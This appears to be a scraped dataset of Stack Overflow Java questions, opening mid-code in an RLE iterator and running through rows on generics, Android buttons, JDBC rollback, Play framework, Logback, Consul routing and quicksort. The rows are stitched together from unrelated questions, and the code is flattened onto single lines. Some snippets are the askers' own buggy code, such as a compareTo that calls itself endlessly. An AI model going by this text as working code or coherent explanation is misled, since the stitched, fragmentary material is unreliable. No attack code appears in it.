an initial part , so we can // correctly handle there not being anything , despite there // being data encoded . int comp ; i = 0 ; while ( ( mode == 0 ) & & ( i < nearRLE.length ) ) { // set up the next code comp = ( ( int ) nearRLE [ i ] ) & 0xff ; if ( ( comp > 0 ) & & ( comp < = 0x3e ) ) { // skip forward by comp ; reg += comp ; i++ ; mode = 0 ; // have to keep on reading } else if ( comp == 0x3f ) { // skip forward by the following 16 bit word ; // second byte is hi-byte of the word reg += ( ( int ) nearRLE [ i+1 ] ) & 0xff ; reg += ( ( ( int ) nearRLE [ i+2 ] ) & 0xff ) < < 8 ; i+=3 ; } else if ( comp == 0xff ) { // include the following WORD of regions mode = ( ( int ) nearRLE [ i+1 ] ) & 0xff ; mode += ( ( ( int ) nearRLE [ i+2 ] ) & 0xff ) < < 8 ; i += 3 ; } else if ( ( comp > = 0xc0 ) & & ( comp < = 0xfe ) ) { // comp - 0xc0 regions are nearby mode = comp - 0xc0 ; // +1 perhaps ? i++ ; } else if ( ( comp > = 0x40 ) & & ( comp < = 0x7f ) ) { // skip bits 3-5 IDs and then include bits 0-2 reg += ( comp & 0x38 ) > > 3 ; mode = ( comp & 0x7 ) ; i++ ; } else if ( ( comp > = 0x80 ) & & ( comp < = 0xbf ) ) { // include IDs bits 3-5 , then skip bits 0-2 mode = ( comp & 0x38 ) > > 3 ; skip = ( comp & 0x7 ) ; i++ ; } } } public boolean hasNext ( ) { // not at the end of the RLE , and not currently processing a // directive . ( mode ) return ( mode > 0 ) ; } public int next ( ) { int ret = -1 ; int comp ; // sanity check first . Should n't truthfully get called if mode // is n't > 0 if ( mode < = 0 ) return -1 ; ret = reg ; reg++ ; mode -- ; if ( mode == 0 ) { // skip forward reg += skip ; skip = 0 ; while ( ( mode == 0 ) & & ( i < nearRLE.length ) ) { // set up the next code comp = ( ( int ) nearRLE [ i ] ) & 0xff ; if ( ( comp > 0 ) & & ( comp < = 0x3e ) ) { // skip forward by comp ; reg += comp ; i++ ; mode = 0 ; // have to keep on reading } else if ( comp == 0x3f ) { // skip forward by the following 16 bit word ; // second byte is hi-byte of the word reg += ( ( int ) nearRLE [ i+1 ] ) & 0xff ; reg += ( ( ( int ) nearRLE [ i+2 ] ) & 0xff ) < < 8 ; i+=3 ; } else if ( comp == 0xff ) { // include the following WORD of regions mode = ( ( int ) nearRLE [ i+1 ] ) & 0xff ; mode += ( ( ( int ) nearRLE [ i+2 ] ) & 0xff ) < < 8 ; i += 3 ; } else if ( ( comp > = 0xc0 ) & & ( comp < = 0xfe ) ) { // comp - 0xc0 regions are nearby mode = comp - 0xc0 ; // +1 perhaps ? i++ ; } else if ( ( comp > = 0x40 ) & & ( comp < = 0x7f ) ) { // skip bits 3-5 IDs and then include bits 0-2 reg += ( comp & 0x38 ) > > 3 ; mode = ( comp & 0x7 ) ; i++ ; } else if ( ( comp > = 0x80 ) & & ( comp < = 0xbf ) ) { // include IDs bits 3-5 , then skip bits 0-2 mode = ( comp & 0x38 ) > > 3 ; skip = ( comp & 0x7 ) ; i++ ; } } } return ret ; } }",Java Iterator equivalent in C++ ? ( with code ) +Java,"Why does Java does n't throw any warning when compiling my TestGenerics class , considering that the String class is final and can not be extended ?",import java.util . * ; public class TestGenerics { public void addStrings ( List < ? extends String > list ) { // some code here } } },Java Generics wildcard extends final class +Java,I have below code in android programming And it continue untill btn30In python I optimize it by below easy code In java programing how i can do it ? Or can I do it ? do exist a easy code for it ? UPDATE 1 SO there are two way to do itCode 1 : Code 2 : And other way is GidViewTanks All .,"Button btn1 = ( Button ) findViewById ( R.id.btn1 ) ; Button btn2 = ( Button ) findViewById ( R.id.btn2 ) ; Button btn3 = ( Button ) findViewById ( R.id.btn3 ) ; Button btn4 = ( Button ) findViewById ( R.id.btn4 ) ; Button btn5 = ( Button ) findViewById ( R.id.btn5 ) ; Button btn6 = ( Button ) findViewById ( R.id.btn6 ) ; Button btn7 = ( Button ) findViewById ( R.id.btn7 ) ; Button btn8 = ( Button ) findViewById ( R.id.btn8 ) ; Button btn9 = ( Button ) findViewById ( R.id.btn9 ) ; # is a python syntax ( for_statement ) # python work by tabfor i in range ( 1,31 ) : # in python not need to declare temp temp= '' '' '' Button btn '' '' '' +str ( i ) + '' '' '' = ( Button ) findViewById ( R.id.btn '' '' '' +str ( i ) + '' '' '' ) '' '' '' exec ( temp ) # a default function in python final int number = 30 ; final Button [ ] buttons = new Button [ number ] ; final Resources resources = getResources ( ) ; for ( int i = 0 ; i < number ; i++ ) { final String name = `` btn '' + ( i + 1 ) ; final int id = resources.getIdentifier ( name , `` id '' , getPackageName ( ) ) ; buttons [ i ] = ( Button ) findViewById ( id ) ; } public static int getIdByName ( final String name ) { try { final Field field = R.id.class.getDeclaredField ( name ) ; field.setAccessible ( true ) ; return field.getInt ( null ) ; } catch ( Exception ignore ) { return -1 ; } } final Button [ ] buttons = new Button [ 30 ] ; for ( int i = 0 ; i < buttons.length ; i++ ) { buttons [ i ] = ( Button ) findViewById ( getIdByName ( `` btn '' + ( i + 1 ) ) ) ; }",How i can optimize this code that contain some repetitive line ? +Java,"After several days passed to investigate about the issue , I decided to submit this question because there is no sense apparently in what is happening.The CaseMy computer is configured with a local Oracle Express database.I have a JAVA project with several JUnit Tests that extend a parent class ( I know that it is not a `` best practice '' ) which opens an OJDBC Connection ( using a static Hikari connection pool of 10 Connections ) in the @ Before method and rolled Back it in the @ After.StacicConnectionPool } This project has hundreds tests ( not in parallel ) that use this connection ( on localhost ) to execute queries ( insert/update and select ) using Sql2o but transaction and clousure of connection is managed only externally ( by the test above ) . The database is completely empty to have ACID tests.So the expected result is to insert something into DB , makes the assertions and then rollback . in this way the second test will not find any data added by previous test in order to maintain the isolation level.The ProblemRunning all tests together ( sequentially ) , 90 % of times they work properly . the 10 % one or two tests , randomly , fail , because there is dirty data in the database ( duplicated unique for example ) by previous tests . looking the logs , rollbacks of previous tests were done properly . In fact , if I check the database , it is empty ) If I execute this tests in a server with higher performance but the same JDK , same Oracle DB XE , this failure ratio is increased to 50 % . This is very strange and I have no idea because the connections are different between tests and the rollback is called each time . The JDBC Isolation level is READ COMMITTED so even if we used the same connection , this should not create any problem even using the same connection.So my question is : Why it happen ? do you have any idea ? Is the JDBC rollback synchronous as I know or there could be some cases where it can go forward even though it is not fully completed ? These are my main DB params : processes 100sessions 172transactions 189","public class BaseLocalRollbackableConnectorTest { private static Logger logger = LoggerFactory.getLogger ( BaseLocalRollbackableConnectorTest.class ) ; protected Connection connection ; @ Beforepublic void setup ( ) throws SQLException { logger.debug ( `` Getting connection and setting autocommit to FALSE '' ) ; connection = StaticConnectionPool.getPooledConnection ( ) ; } @ Afterpublic void teardown ( ) throws SQLException { logger.debug ( `` Rollback connection '' ) ; connection.rollback ( ) ; logger.debug ( `` Close connection '' ) ; connection.close ( ) ; } public class StaticConnectionPool { private static HikariDataSource ds ; private static final Logger log = LoggerFactory.getLogger ( StaticConnectionPool.class ) ; public static Connection getPooledConnection ( ) throws SQLException { if ( ds == null ) { log.debug ( `` Initializing ConnectionPool '' ) ; HikariConfig config = new HikariConfig ( ) ; config.setMaximumPoolSize ( 10 ) ; config.setDataSourceClassName ( `` oracle.jdbc.pool.OracleDataSource '' ) ; config.addDataSourceProperty ( `` url '' , `` jdbc : oracle : thin : @ localhost:1521 : XE '' ) ; config.addDataSourceProperty ( `` user '' , `` MyUser '' ) ; config.addDataSourceProperty ( `` password '' , `` MyPsw '' ) ; config.setAutoCommit ( false ) ; ds = new HikariDataSource ( config ) ; } return ds.getConnection ( ) ; }",Shared Transaction between different OracleDB Connections +Java,"I really need help here.If I have my separate class , lets call it FileType.java , and it looks like this : and then I grab a string from the user , call it inputString , how can I compare `` inputString '' to every single enum value , with the most minimal amount of code ? EDIT : Here is what I have tried : Ps . I am well aware that I can just set individual variables to equal the same strings as the enum values . I ; m also aware that I could use .valueOf ( ) for every single value .","public enum FileType { JPG , GIF , PNG , BMP , OTHER } System.out.print ( `` Please enter your photo 's file type . It must be : JPG , GIF , PNG , BMP , or OTHER '' ) ; typeInput = kb.nextLine ( ) ; boolean inputMatches = false ; while ( inputMatches == false ) { System.out.print ( `` Invalid input . Please enter your photo 's file type . It must be : JPG , GIF , PNG , BMP , or OTHER '' ) ; if ( typeInput.equalsIgnoreCase ( FileType.values ( ) ) ) { inputMatches = true ; } }",Take string and compare to multiple enum types all at once +Java,"Java by default looks for files in the project eg . I create a project called calculator and want a background image , I would put the required images in the project folder . I would like it to be tidier by changing where Java looks for the images.I have created a folder called res and added it to the build path but if I put an image into this res folder it would not find it . For example : It would not change the IconImage if I put Logo.png in the res folder and would if i put it in the project folder . When I say project folder I mean the folder eclipse creates when you create a new Java project .",launcher.setIconImage ( new ImageIcon ( `` Logo.png '' ) .getImage ( ) ) ;,Change resource folder ? +Java,"Suppose I have the following Java file in a library : I would like to extend it from Scala : I get an error , `` class FooHelper can not be accessed in object test.AbstractFoo '' . ( I 'm using a Scala 2.8 nightly ) . The following Java compiles correctly : The Scala version also compiles if it 's placed in the test package . Is there another way to get it to compile ?",package test ; public abstract class AbstractFoo { protected static class FooHelper { public FooHelper ( ) { } } } package test2import test.AbstractFooclass Foo extends AbstractFoo { new AbstractFoo.FooHelper ( ) } package test2 ; import test.AbstractFoo ; public class Foo2 extends AbstractFoo { { new FooHelper ( ) ; } },Static nested class visibility issue with Scala / Java interop +Java,I get this error while I am creating a read request object DataReadRequest class . java.lang.IllegalStateException : Must specify a valid bucketing strategy while requesting aggregation I did refer to above question but it is not helpful for me as I am not using the above code.My code is as follows where I am seeing this crash : I also referred `` https : //plus.google.com/105817403737304061447/posts/5Bo6qMYRAM9 '' but it is also not helpful.The above code is directly from `` https : //developers.google.com/fit/android/get-started '' . Thanks in advance .,"private void accessGoogleFit ( ) { Calendar cal = Calendar.getInstance ( ) ; cal.setTime ( new Date ( ) ) ; long endTime = cal.getTimeInMillis ( ) ; cal.add ( Calendar.YEAR , -1 ) ; long startTime = cal.getTimeInMillis ( ) ; DataReadRequest readRequest = new DataReadRequest.Builder ( ) .aggregate ( DataType.TYPE_STEP_COUNT_DELTA , DataType.AGGREGATE_STEP_COUNT_DELTA ) .setTimeRange ( startTime , endTime , TimeUnit.MILLISECONDS ) .build ( ) ;",Caused by : java.lang.IllegalStateException : Must specify a valid bucketing strategy while requesting aggregation +Java,"I am docker file like this : When I compile and deploy the app settint the time using this : -v /etc/localtime : /etc/localtime : roI notice that the host time and containter time are syncronized , but the logs of the app shows a diferent time , the UTC time.How can I sync the host machine , the container and the java app with the same time ?","FROM anapsix/alpine-java : jre8 ADD service-god-sac-1.0.0-SNAPSHOT.jar app.jar ENTRYPOINT [ `` java '' , `` -Xmx64m '' , `` -XX : MaxMetaspaceSize=64m '' , `` -jar '' , `` /app.jar '' ]",How to sync the time of a java application running on docker container ? +Java,"I 'm reviewing the HikariCP project on github , and it declares that it supports `` Java 7 and Java 8 maven artifact '' , in its source code , it uses some Java 8 features : I guess if this project is being referenced by others with Java 7 , error will occur . So , how the project makes it to support Java 7 and Java 8 at the same time ?",java.util.function.Consumer ; java.util.function.Predicate ; java.util.function.UnaryOperator ;,How can a project support Java 7 despite using Java 8 features +Java,"I 'm aware about string pool in JVM and difference between literals and string objects . I know that literals are automatically interned , but what is the purpose of this line then : On my question I always find a ton of text which explains me the same with emphasis on the difference between literals and objects and mention that literals already interned . Therefore , I 'd like to know about underlyings of using that tricky line with intern ( ) over literal .",public static final String PARAMETER = `` value '' .intern ( ) ;,Why constant strings use intern ( ) ? +Java,"I have about 10+ classes , and each one has a LUMP_INDEX and SIZE static constant.I want an array of each of these classes , where the size of the array is calculated using those two constants.At the moment i have a function for each class to create the array , something along the lines of : etc.There are 10 of these functions , and the only differences is the class type , so as you can see , there 's a ton of duplication.Does any one have any ideas on how to avoid this duplication ? Thanks . ( I asked a similar question before , but i guess the way i asked it was a bit off )",private Plane [ ] readPlanes ( ) { int count = header.lumps [ Plane.LUMP_INDEX ] .filelen / Plane.SIZE ; Plane [ ] planes = new Plane [ count ] ; for ( int i = 0 ; i < count ; i++ ) planes [ i ] = new Plane ( ) ; return planes ; } private Node [ ] readNodes ( ) { int count = header.lumps [ Node.LUMP_INDEX ] .filelen / Node.SIZE ; Node [ ] nodes = new Node [ count ] ; for ( int i = 0 ; i < count ; i++ ) nodes [ i ] = new Node ( ) ; return nodes ; } private Leaf [ ] readLeaves ( ) { int count = header.lumps [ Leaf.LUMP_INDEX ] .filelen / Leaf.SIZE ; Leaf [ ] leaves = new Leaf [ count ] ; for ( int i = 0 ; i < count ; i++ ) leaves [ i ] = new Leaf ( ) ; return leaves ; },Deduplicate this java code duplication +Java,I am using HtmlUnit to login on to a site and then download data from the tableWhen I run my code is is causing java.lang.OutOfMemoryError And could not run further.Following is my code : and Following is the stackTraceI have put following lines in catlina.sh file to allot heap memory But still I am getting the same error ( My RAM size is 2GB ) .,WebClient webClient = new WebClient ( BrowserVersion.INTERNET_EXPLORER_6 ) ; webClient.getOptions ( ) .setJavaScriptEnabled ( true ) ; webClient.getOptions ( ) .setCssEnabled ( false ) ; webClient.getOptions ( ) .setRedirectEnabled ( true ) ; webClient.getCookieManager ( ) .setCookiesEnabled ( true ) ; webClient.getOptions ( ) .setPrintContentOnFailingStatusCode ( false ) ; webClient.setAjaxController ( new NicelyResynchronizingAjaxController ( ) ) ; webClient.getOptions ( ) .setTimeout ( 50000 ) ; webClient.getOptions ( ) .setUseInsecureSSL ( true ) ; webClient.getOptions ( ) .setPopupBlockerEnabled ( true ) ; HtmlPage htmlPage=webClient.getPage ( url ) ; Thread.sleep ( 200 ) ; //~~~~~~~Log-InHtmlTextInput uname= ( HtmlTextInput ) htmlPage.getFirstByXPath ( `` //* [ @ id=\ '' username\ '' ] '' ) ; uname.setValueAttribute ( `` xxx '' ) ; HtmlPasswordInput upass= ( HtmlPasswordInput ) htmlPage.getFirstByXPath ( `` //* [ @ id=\ '' password\ '' ] '' ) ; upass.setValueAttribute ( `` xxx '' ) ; HtmlSubmitInput submit= ( HtmlSubmitInput ) htmlPage.getFirstByXPath ( `` //* [ @ id=\ '' login-button\ '' ] /input '' ) ; htmlPage= ( HtmlPage ) submit.click ( ) ; Thread.sleep ( 200 ) ; webClient.waitForBackgroundJavaScript ( 10000 ) ; for ( int i = 0 ; i < 250 ; i++ ) { if ( ! htmlPage.asText ( ) .contains ( `` Loading ... '' ) ) { break ; } synchronized ( htmlPage ) { htmlPage.wait ( 500 ) ; } } System.out.println ( htmlPage.asText ( ) ) ; java.lang.OutOfMemoryError : Java heap spaceat net.sourceforge.htmlunit.corejs.javascript.Node.newString ( Node.java:155 ) at net.sourceforge.htmlunit.corejs.javascript.Node.newString ( Node.java:151 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.createPropertyGet ( IRFactory.java:1990 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformPropertyGet ( IRFactory.java:968 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:106 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformPropertyGet ( IRFactory.java:964 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:106 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformPropertyGet ( IRFactory.java:964 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:106 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformFunctionCall ( IRFactory.java:595 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:86 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformInfix ( IRFactory.java:775 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:161 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformAssignment ( IRFactory.java:368 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:152 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformExprStmt ( IRFactory.java:488 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:149 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformBlock ( IRFactory.java:406 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:82 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformIf ( IRFactory.java:762 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:110 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformBlock ( IRFactory.java:406 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:82 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformIf ( IRFactory.java:762 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:110 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformBlock ( IRFactory.java:406 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:82 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformIf ( IRFactory.java:768 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:110 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformBlock ( IRFactory.java:406 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transform ( IRFactory.java:82 ) at net.sourceforge.htmlunit.corejs.javascript.IRFactory.transformFunction ( IRFactory.java:560 ) if [ -z `` $ LOGGING_MANAGER '' ] ; then JAVA_OPTS= '' $ JAVA_OPTS -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager '' else JAVA_OPTS= '' $ JAVA_OPTS $ LOGGING_MANAGER '' fi # Uncomment the following line to make the umask available when using the # org.apache.catalina.security.SecurityListener JAVA_OPTS= '' $ JAVA_OPTS -Dorg.apache.catalina.security.SecurityListener.UMASK= ` umask ` `` JAVA_OPTS= '' $ JAVA_OPTS -Xms512m -Xmx2048m -XX : MaxPermSize=512m '' JAVA_OPTS= '' -server -XX : +UseConcMarkSweepGC '',OutOfMemoryError while using HtmlUnit for scraping +Java,"I have installed Play framework on my Macbook pro . Play 1.2.4 on the latest 10.7.3.I have 8 GB memory and i7 Quad core cpu ( shows 8 cores ) .This is all extremely cool and I am having fun coding in play . But then I just wanted to see what a performance I should be getting in production , so I changed the application config like this : My application class only has 1 methodand my application template for index is this : Thats all.When I run apache benchmark on this like : ab -n 1 -c 1 http : //localhost:9000/I get good numbers , but if I got to -n 10 everything just hangs and my computer goes to 100 % load on 1 core and just stays there for ever.I used to get HEAP errors but I set this as an environmental variable : And now I no longer get any errors , anywhere.My co-worker tried my app which I tarred and gzipped before sending over , he can easily do -n 10000 -c 1000 an dit just runs and finished in no time at all , almost instantaniously.So my question is , do I have to set any other system variables or what do I need to do to make my Play app run on my mac ? Just to clear things , my mac is totally up to date by today , everything is 99 % as it came from the factory , probably closer to 100 % , except that I do have xcode and such installed.My java is :","prod.application.mode=prod public static void index ( ) { String theman = `` You are the man '' ; render ( theman ) ; } # { extends 'main.html ' / } # { set title : 'Home ' / } The man is $ { theman } export _JAVA_OPTIONS= '' -Xms800m -Xmx1500m '' java version `` 1.6.0_29 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_29-b11-402-11D50b ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.4-b02-402 , mixed mode ) uname -saDarwin xxx.local 11.3.0 Darwin Kernel Version 11.3.0 : Thu Jan 12 18:47:41 PST 2012 ; root : xnu-1699.24.23~1/RELEASE_X86_64 x86_64","Play framework on Mac , performance issue" +Java,I have an error using Java Collections in JDK 1.7 : I got this Exception in this line : proposalStatuses.addAll ( getAllSubmittedStatuses ( ) ) trying to add a collection to a list,"java.lang.UnsupportedOperationException at java.util.AbstractList.add ( Unknown Source ) at java.util.AbstractList.add ( Unknown Source ) at java.util.AbstractCollection.addAll ( Unknown Source ) /** * Gets the all submitted statuses . * * @ return the all submitted statuses */ private Collection < ProposalStatus > getAllSubmittedStatuses ( ) { return Arrays.asList ( ProposalStatus.SAVED_TO_IOS , ProposalStatus.SENDED_TO_IOS_IN_PROGRESS ) ; } /** * Gets the all received statuses . * * @ return the all received statuses */ private Collection < ProposalStatus > getAllReceivedStatuses ( ) { Collection < ProposalStatus > proposalStatuses = Arrays.asList ( ProposalStatus.RECEIVED_BY_IOS , ProposalStatus.SUBMITTED_TO_IOS , ProposalStatus.RECEIVED_IOS ) ; proposalStatuses.addAll ( getAllSubmittedStatuses ( ) ) ; return proposalStatuses ; }",Java UnsupportedOperationException with Collection objects +Java,"I 'm trying to use Logback with Wildfire 9 . For that , I added a jboss-deployment-structure.xml file in my WEB-INF folder with this content ( I excluded also Hibernate to be sure to not pull jboss-logging ) : It 's working fine except I have blank lines between each log : and : In my logback.xml , I 'm using this pattern for the console : And in the logging.properties file of Wildfly , I have this : I think the problem is comming from the % n for the ConsoleAppender and the PatternFormatter . If I 'm trying to remove the % n for ConsoleAppender , it 's like if I do n't have flushes anymore : I ca n't see the logs . If I remove the % n for PatternFormatter , I do n't have the blank lines but Wildfly 's logs do n't have linefeed anymore.How to have something clean without blank lines ?","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < jboss-deployment-structure > < deployment > < exclude-subsystems > < subsystem name= '' logging '' / > < /exclude-subsystems > < exclusions > < module name= '' org.hibernate '' / > < /exclusions > < /deployment > < /jboss-deployment-structure > 14:25:25,249 INFO [ org.jboss.as.jpa ] ( MSC service thread 1-8 ) WFLYJPA0002 : Read persistence.xml for portalPU14:25:25,253 INFO [ org.jboss.as.jpa ] ( MSC service thread 1-8 ) WFLYJPA0002 : Read persistence.xml for emptyPU14:25:25,631 INFO [ stdout ] ( MSC service thread 1-1 ) 14:25:25,556 |-INFO in ch.qos.logback.classic.LoggerContext [ default ] - Could NOT find resource [ logback.groovy ] 14:25:25,631 INFO [ stdout ] ( MSC service thread 1-1 ) 14:25:25,557 |-INFO in ch.qos.logback.classic.LoggerContext [ default ] - Could NOT find resource [ logback-test.xml ] 14:26:49,827 INFO [ stdout ] ( default task-2 ) 2016-05-03 14:26:49 [ default task-2 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:50,676 INFO [ stdout ] ( default task-3 ) 2016-05-03 14:26:50 [ default task-3 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:50,716 INFO [ stdout ] ( default task-4 ) 2016-05-03 14:26:50 [ default task-4 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:50,760 INFO [ stdout ] ( default task-5 ) 2016-05-03 14:26:50 [ default task-5 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:50,779 INFO [ stdout ] ( default task-6 ) 2016-05-03 14:26:50 [ default task-6 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:51,162 INFO [ stdout ] ( default task-8 ) 2016-05-03 14:26:51 [ default task-8 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 114:26:51,180 INFO [ stdout ] ( default task-7 ) 2016-05-03 14:26:51 [ default task-7 ] DEBUG f.s.q.p.web.filters.InstallFilter -Users found : 1 < appender name= '' CONSOLE '' class= '' ch.qos.logback.core.ConsoleAppender '' > < layout class= '' ch.qos.logback.classic.PatternLayout '' > < Pattern > < ! [ CDATA [ % d { yyyy-MM-dd HH : mm : ss } [ % t ] % -5level % logger { 36 } - % msg % n ] ] > < /Pattern > < /layout > < /appender > formatter.COLOR-PATTERN=org.jboss.logmanager.formatters.PatternFormatterformatter.COLOR-PATTERN.properties=patternformatter.COLOR-PATTERN.pattern= % K { level } % d { HH\ : mm\ : ss , SSS } % -5p [ % c ] ( % t ) % s % e % n",Wildfly and logback with blank lines +Java,"I am attempting to move from Eureka to Consul for service discovery and am having an issue - my gateway service registers and my customer-service registers , but the gateway service will not route requests to the customer-service automatically . Routes I have specifically defined in the gateway Controller that use Feign clients to route work fine , but before ( with Eureka ) I could make a request to any path like `` /customer-service/blah '' ( where customer-service is the registered name ) and the gateway would just forward the request on to the downstream microservice.Here is my gateway bootstrap.yml ( it 's in bootstrap and not application because I am also using consul for config )",spring : application : name : gateway-api cloud : consul : config : watch : wait-time : 30 discovery : prefer-ip-address : true instanceId : $ { spring.application.name } : $ { spring.application.instance_id : $ { random.value } },Auto-Proxy services with Consul Service Discovery +Java,"I was testing the precedence between & & and || and I had an example that was confusing . In Java , & & has higher operator precedence than the operator ||.So if we have those 3 expressions : It should be evaluated as : So expr2 & & expr3 should be evaluated before expr1 . However , this example : Outputs : That proves that only a1 < a2 is evaluated.Can you explain why this is the case ?","//expr1 = true , expr2 = false ; expr3 = false ; if ( expr1 || expr2 & & expr3 ) ; if ( expr1 || ( expr2 & & expr3 ) ) ; int a1 = 10 ; int a2 = 20 ; System.out.println ( a1 < a2 || ++a1 > a2 & & ++a2 < a1 ) ; System.out.println ( a1 ) ; System.out.println ( a2 ) ; true1020",Confusing example about ' & & ' and '|| ' precedence +Java,"I was playing around with jmap and found that simple `` Hello World '' Java program creates thousands of objects . Here is truncated list of objects Oracle JVM update 131 creates on startup : I know that the JVM loads classes from JAR files and expect to see java.lang.Class , java.lang.String and [ Ljava.lang.Object . 258 java.lang.Integer objects are clear tp me too : this is the Integer cache.But java.lang.reflect.Field ? Hashtable ? Many StringBuilders ? java.util.concurrent.ConcurrentHashMap ? Where does this come from ? The program is pretty simple : JVM details : Ubuntu 16.04 .","num # instances # bytes class name -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 1 : 402 4903520 [ I 2 : 1621 158344 [ C 3 : 455 52056 java.lang.Class 4 : 194 49728 [ B 5 : 1263 30312 java.lang.String 6 : 515 26088 [ Ljava.lang.Object ; 7 : 115 8280 java.lang.reflect.Field 8 : 258 4128 java.lang.Integer 9 : 94 3760 java.lang.ref.SoftReference 10 : 116 3712 java.util.Hashtable $ Entry 11 : 126 3024 java.lang.StringBuilder 12 : 8 3008 java.lang.Thread 13 : 74 2576 [ Ljava.lang.String ; 14 : 61 1952 java.io.File 15 : 38 1824 sun.util.locale.LocaleObjectCache $ CacheEntry 16 : 12 1760 [ Ljava.util.Hashtable $ Entry ; 17 : 53 1696 java.util.concurrent.ConcurrentHashMap $ Node 18 : 23 1472 java.net.URL 19 : 14 1120 [ S 20 : 2 1064 [ Ljava.lang.invoke.MethodHandle ; 21 : 1 1040 [ Ljava.lang.Integer ; 22 : 26 1040 java.io.ObjectStreamField 23 : 12 1024 [ Ljava.util.HashMap $ Node ; 24 : 30 960 java.util.HashMap $ Node 25 : 20 800 sun.util.locale.BaseLocale $ Key public class Test { public static void main ( String [ ] args ) throws IOException { System.out.println ( `` Hello world '' ) ; System.in.read ( ) ; } } java version `` 1.8.0_131 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_131-b11 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.131-b11 , mixed mode )",Why does my Oracle JVM create all these objects for a simple 'Hello World ' program ? +Java,What do the symbols indicate and what does the ( Native method ) say about the java.io.FileStream.open method ?,Exception in thread `` main '' java.io.FileNotFoundException : line23 ( No such file or directory ) at java.io.FileInputStream.open ( Native Method ) at java.io.FileInputStream. < init > ( FileInputStream.java:135 ) at java.io.FileInputStream. < init > ( FileInputStream.java:95 ) at java.io.FileReader. < init > ( FileReader.java:64 ) at Helper.readFile ( Foo5.java:74 ) at Bar2.main ( Bar2.java:32 ),What does < init > and ( Native Method ) mean ? +Java,"SonarQube raises the major violation Silly math should not be performed in my code . The description says Certain math operations are just silly and should not be performed because their results are predictable . In particular , anyValue % 1 is silly because it will always return 0.In my case though , anyValue is a double . And this works as intended for me . Here 's the actual code : Is the analyser assuming my variable is an int ( which is their bug ) ? Or am I missing something else ?","double v = Double.parseDouble ( Utils.formatDouble ( Double.valueOf ( value.getValue ( ) ) , accuracy.intValue ( ) ) ) ; boolean negative = v < 0 ; v = Math.abs ( v ) ; long deg = ( long ) Math.floor ( v ) ; v = ( v % 1 ) * 60 ;",Why is anyValue % 1 `` silly math '' in Sonar when anyValue is a double ? +Java,I have a class Movie with a static array Movie [ ] movies . I implement the Comparable and i overload the method compareTo . If the likes of a movie are same with the likes of another movie then i compare them with alphabetical order . I have to create a quicksort implementation to sort an array of movies . But in line return this.compareTo ( m ) ; i got a stack overflow Error . How i am supposed to fix this ?,"public int compareTo ( Movie m ) { if ( this.likes == m.likes ) { //DefaultComparator cmp = new DefaultComparator ( ) ; return this.compareTo ( m ) ; } else if ( this.likes > m.likes ) { return 1 ; } else { return -1 ; } } public static Movie [ ] sort ( Movie [ ] m ) { if ( m == null || m.length == 0 ) { return null ; } else { movies = m ; quicksort ( 0 , movies.length - 1 ) ; // sort the entire array return movies ; } } public static void quicksort ( int left , int right ) { int i = left ; int j = right ; Movie pivot = movies [ left + ( right - left ) / 2 ] ; while ( i < = j ) { while ( movies [ i ] .compareTo ( pivot ) == -1 ) { i++ ; } while ( movies [ j ] .compareTo ( pivot ) == 1 ) { j -- ; } if ( i < = j ) { exch ( i , j ) ; i++ ; j -- ; } } if ( left < j ) { quicksort ( left , j ) ; } if ( i < right ) { quicksort ( i , right ) ; } } public static void exch ( int i , int j ) { Movie temp = movies [ i ] ; movies [ i ] = movies [ j ] ; movies [ j ] = temp ; }",How to fix a stack overflow Error in java ? +Java,"Problem DescriptionI have written a simple example which is using Lambda expression . The code is working fine until I run a unit test on it . As soon as I run the unit test , it fails because of the error below EnvironmentAndroid Studio 2.2 Preview 3Error An exception has occurred in the compiler ( 1.8.0_76-release ) . Please file a bug against the Java compiler via the Java bug reporting page ( http : //bugreport.java.com ) after checking the Bug Database ( http : //bugs.java.com ) for duplicates . 